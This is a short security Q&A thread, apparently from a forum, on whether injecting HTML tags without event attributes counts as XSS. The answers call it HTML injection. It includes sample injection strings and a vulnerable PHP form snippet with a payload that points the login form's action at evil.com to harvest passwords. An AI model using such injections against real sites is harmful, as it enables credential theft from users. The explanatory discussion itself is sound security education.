Can we consider injection of HTML tags without event attributes as XSS?

Question

I'm wondering if we can consider the injection of HTML tags like a, image, img, video, audio, marquee or iframe without an event attribute as XSS? Since no JavaScript is involved and therefor no JavaScript code is included and executed. But an (external) resource is loaded or in case of the marquee tag an animation is triggered (often screwing up the template). As well as for the a-tag the risk of being able to include clickable URL's.

So is a pure HTML injection (even if it breaks something like an input field) considered as valid XSS, and what would be the motivation to explain that it is valid XSS?

A few examples:

1. "><marquee>123
2. "><img src=http://example.com/a.jpg
3. <a href=//example.com>123</a>

Answer 1

No, I would not call that cross site scripting, since there is no actual scripting involved. But that does not mean it is not a security risk! The correct term for the vulnerability would be "HTML injection", and as you note in your question it can be a dangerous thing.

Here's another example, just to show how HTML injection can indeed be used to cause real damage. Let's say you have this PHP code:

echo "<form method='post' class='" + $untrusted + "' action='login.php'>";

And lets say that $untrusted is set to ' action='http://evil.com. No need for XSS when you can harvest passwords using pure old HTML.

Answer 2

I think the scenario you are talking should be called HTML injection. Sometimes, there might be an XSS filter deployed which does not allow any event attribute (the list is huge) as well as script tags. In that case, "getting XSS is hard". Although, blacklists seldom work to prevent XSS.